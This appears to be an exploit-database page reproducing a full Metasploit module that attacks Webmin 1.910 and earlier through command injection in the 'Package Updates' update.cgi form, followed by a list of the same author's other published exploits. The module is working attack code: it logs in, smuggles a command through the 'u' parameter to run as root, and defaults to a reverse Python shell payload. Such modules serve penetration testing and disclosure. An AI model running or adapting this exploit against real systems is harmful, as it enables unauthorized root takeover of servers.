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"Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)"

Author

Exploit author

AkkuS

Platform

Exploit platform

linux

Release date

Exploit published date

2019-06-11

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Webmin <= 1.910 - "Package Updates" Remote Command Execution',
      'Description'    => %q(
        This module exploits an arbitrary command execution vulnerability in Webmin
        1.910 and lower versions. Any user authorized to the "Package Updates"
        module can execute arbitrary commands with root privileges.

      ),
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>' # Vulnerability Discovery, MSF PoC module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2019-'],
          ['URL', 'https://www.pentest.com.tr/exploits/Webmin-1910-Package-Updates-Remote-Command-Execution.html']
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd'
            }
        },
      'DefaultOptions' =>
        {
          'RPORT' => 10000,
          'SSL'   => false,
          'PAYLOAD' => 'cmd/unix/reverse_python' # its depends
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Webmin <= 1.910', {}]],
      'DisclosureDate' => 'May 16 2019',
      'DefaultTarget'  => 0)
    )
    register_options [
        OptString.new('USERNAME',  [true, 'Webmin Username']),
        OptString.new('PASSWORD',  [true, 'Webmin Password']),
        OptString.new('TARGETURI',  [true, 'Base path for Webmin application', '/'])
    ]
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def login
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'session_login.cgi'),
      'cookie' => 'testing=1',
      'vars_post' => {
        'page' => '',
        'user' => datastore['USERNAME'],
        'pass' => datastore['PASSWORD']
      }
    })

    if res && res.code == 302 && res.get_cookies =~ /sid=(\w+)/
      return $1
    end

    return nil unless res
    ''
  end
##
# Target and input verification
##
  def check
    cookie = login
    return CheckCode::Detected if cookie == ''
    return CheckCode::Unknown if cookie.nil?

    vprint_status('Attempting to execute...')
    # check package update priv
    res = send_request_cgi({
      'uri'     => normalize_uri(target_uri.path, "package-updates/"),
      'cookie'  => "sid=#{cookie}"
    })

    if res && res.code == 200 && res.body =~ /Software Package Update/
      print_status("NICE! #{datastore['USERNAME']} has the right to >>Package Update<<")
      return CheckCode::Vulnerable
    end
    print_error("#{datastore['USERNAME']} has not the right to >>Package Update<<")
    print_status("Please try with another user account!")
    CheckCode::Safe
  end
##
# Exploiting phase
##
  def exploit
    cookie = login
    if cookie == '' || cookie.nil?
      fail_with(Failure::Unknown, 'Failed to retrieve session cookie')
    end
    print_good("Session cookie: #{cookie}")

    res = send_request_raw(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri, 'proc', 'index_tree.cgi'),
      'headers' =>
        {
          'Referer' => "#{peer}/sysinfo.cgi?xnavigation=1"
        },
      'cookie' => "redirect=1; testing=1; sid=#{cookie}"
    )
    unless res && res.code == 200
      fail_with(Failure::Unknown, 'Request failed')
    end

    print_status("Attempting to execute the payload...")
    exec(cookie)

  end

  def exec(cookie)

    command = payload.encoded

    res = send_request_cgi(
      {
      'method' => 'POST',
      'cookie' => "sid=#{cookie}",
      'ctype'  => 'application/x-www-form-urlencoded',
      'uri' => normalize_uri(target_uri.path, 'package-updates', 'update.cgi'),
      'headers' =>
        {
          'Referer' => "#{peer}/package-updates/?xnavigation=1"
        },
      'data' => "u=acl%2Fapt&u=%20%7C%20#{command}&ok_top=Update+Selected+Packages"
      })

  end
end
##
# The end of the adventure (o_O) // AkkuS
##
Release DateTitleTypePlatformAuthor
2020-03-11"CTROMS Terminal OS Port Portal - 'Password Reset' Authentication Bypass (Metasploit)"remotelinuxAkkuS
2019-08-12"Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)"remotelinuxAkkuS
2019-08-12"ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit)"remotemultipleAkkuS
2019-08-12"ManageEngine OpManager 12.4x - Unauthenticated Remote Command Execution (Metasploit)"remotemultipleAkkuS
2019-08-12"ManageEngine Application Manager 14.2 - Privilege Escalation / Remote Command Execution (Metasploit)"remotemultipleAkkuS
2019-07-12"Sahi Pro 8.0.0 - Remote Command Execution"webappsjavaAkkuS
2019-06-17"AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)"remotephpAkkuS
2019-06-11"Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)"remotelinuxAkkuS
2019-05-14"PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)"remotephpAkkuS
2019-04-30"Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit)"remotephpAkkuS
2019-04-25"osTicket 1.11 - Cross-Site Scripting / Local File Inclusion"webappsphpAkkuS
2019-04-22"ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)"remotemultipleAkkuS
2019-04-18"ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution (Metasploit)"remotewindowsAkkuS
2019-04-15"CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)"remotephpAkkuS
2019-04-12"ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)"webappsphpAkkuS
2019-04-03"TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)"remotephpAkkuS
2019-03-11"Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)"webappsmultipleAkkuS
2019-03-11"OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)"webappsjspAkkuS
2019-03-07"QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)"remotehardwareAkkuS
2019-03-04"Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit)"webappsphpAkkuS
2019-02-28"Usermin 1.750 - Remote Command Execution (Metasploit)"webappslinuxAkkuS
2019-02-28"Feng Office 3.7.0.5 - Remote Command Execution (Metasploit)"webappsphpAkkuS
2019-02-12"Jenkins 2.150.2 - Remote Command Execution (Metasploit)"webappslinuxAkkuS
2019-01-24"SirsiDynix e-Library 3.5.x - Cross-Site Scripting"webappscgiAkkuS
2019-01-18"Webmin 1.900 - Remote Command Execution (Metasploit)"remotecgiAkkuS
2019-01-10"eBrigade ERP 4.5 - Arbitrary File Download"webappsphpAkkuS
2019-01-02"Vtiger CRM 7.1.0 - Remote Code Execution"webappsphpAkkuS
2018-12-19"Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit)"webappsphpAkkuS
2018-12-09"i-doit CMDB 1.11.2 - Remote Code Execution"webappsphpAkkuS
2018-12-04"Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting"webappsphpAkkuS
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46984/?format=json')

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